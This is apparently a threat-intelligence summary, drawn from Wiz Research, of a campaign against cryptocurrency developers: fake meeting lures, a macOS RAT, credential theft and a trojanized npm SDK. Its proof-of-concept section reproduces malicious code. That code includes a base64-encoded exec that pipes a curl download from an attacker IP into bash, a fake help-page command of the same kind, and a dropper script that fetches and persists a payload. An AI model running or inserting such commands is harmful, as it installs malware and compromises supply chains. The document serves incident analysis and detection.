# Commit to Compromise: A New Threat Actor Targeting the Cryptocurrency Industry's Software Development Infrastructure

JINX-0164 used fake LinkedIn/Teams lures to drop macOS RAT AUDIOFIX, stole dev credentials, then pushed malicious commits and trojanized @velora-dex/sdk on npm.

- Payout: Real-world hack
- Severity: high
- Program: Velora
- Analysis by: Wiz Research
- Disclosed: 2026-05-27
- Write-up quality: 8/10
- Original: https://www.wiz.io/blog/threat-actors-target-crypto-orgs
- Library page: https://bugbountylibrary.com/r/blog%3Awiz-io-blog-threat-actors-target-crypto-orgs
- Tags: area:os domain:desktop domain:oss impact:data-leak impact:funds-loss kind:incident platform:threat-intel sev:high tech:github-actions tech:nodejs technique:source-review vuln:secrets-leak

**Target:** macOS developer endpoints, GitHub repos, npm package @velora-dex/sdk
**Root cause:** Social engineering delivered a Python RAT that harvested credentials and cloud/VCS secrets; stolen GitHub and npm credentials were then used to inject malicious commits and a trojanized SDK version.
**Steps:**
1. Victim contacted on LinkedIn by fake recruiter/business partner and invited to a Teams-like meeting.
2. Meeting link points to lookalike domain (e.g. `learn.bitget-meeting[.]com`) with fake troubleshooting page instructing: `/bin/bash -c "$(curl -fsSL https://apple.driver-update.io/troubleshoot/mac/audio-issue-fix.sh)"`
3. Dropper script detects arch and downloads `coreaudiod` payload to `$HOME/Library/Application Support/Google/ChromeUpdater`, runs via `launchctl submit -l chrome.job -- "$DRIVER_PATH" --update`.
4. AUDIOFIX RAT harvests Keychain, browser creds, SSH keys, AWS/GCP/Azure keys, Cloudflare tokens, GitHub tokens, wallet extensions, Discord/Slack/Telegram sessions.
5. Stolen GitHub tokens used with `nord-stream` to exfiltrate GitHub Actions Secrets.
6. RAT injected into internal repos: impersonated committer name/email, pushed direct to main or hijacked branches.
7. Supply chain: npm `@velora-dex/sdk@9.4.1` `dist/index.js` appended `exec` of base64-decoded `nohup bash -c "$(curl -fsSL http://89.36.224[.]5/troubleshoot/mac/install.sh)"` downloading MINIRAT.
**How found:** IR investigation of multiple crypto org intrusions; correlated GitHub audit logs and Vigilant Mode unverified commit badges with GPG key affiliation mismatch to trace pushes back to the compromised endpoint.
**Exploitation:** Credential theft from developer laptops gave GitHub/npm access; malicious commits propagated the RAT to other developers building from compromised repos, and the trojanized npm SDK executed on import to install the MINIRAT Go backdoor, aiming at crypto wallet theft.
**Escalation:** Lateral movement from single endpoint to code distribution systems, turning internal repos and a public npm package into propagation vectors.
**Insight:** Enable GitHub Vigilant Mode and audit-log IP logging: unverified commit badges plus GPG-key/author mismatch reliably expose impersonated committer pushes that EDR misses.

## Proof of concept (copied exactly from the original report)

**Trojanized npm package exec base64 payload**

```
'use strict'

const {exec} = require('child_process');
exec(`echo 'bm9odXAgYmFzaCAtYyAiJChjdXJsIC1mc1NMIGh0dHA6Ly84OS4zNi4yMjQuNS90cm91Ymxlc2hvb3QvbWFjL2luc3RhbGwuc2gpIiA+IC9kZXYvbnVsbCAyPiYx' | (base64 --decode 2>/dev/null || base64 -D) | bash`, function(error, stdout, stderr) {});
```

**Fake Teams help page curl command**

```
/bin/bash -c "$(curl -fsSL 
https://apple.driver-update.io/troubleshoot/mac/audio-issue-fix.sh)"
```

**Dropper script downloading coreaudiod payload**

```
/bin/bash
Updating Chrome
echo "Updaing Chrome..."
CHROME_DIR="$HOME/Library/Application Support/Google"
DRIVER_PATH="$CHROME_DIR/ChromeUpdater"
mkdir -p "$CHROME_DIR"
if [[ "$(uname)" == "Darwin" ]]
if [[ "$(uname -m)" == "arm64" ]]
curl -fso "$DRIVER_PATH" https://apple.driver-store.com/mac/arm/driver/coreaudiod
curl -fso "$DRIVER_PATH" https://apple.driver-store.com/mac/intel/driver/coreaudiod
chmod +x "$DRIVER_PATH"
launchctl submit -l chrome.job -- "$DRIVER_PATH" --update
Chrome updated"
echo ""
echo "Done"
```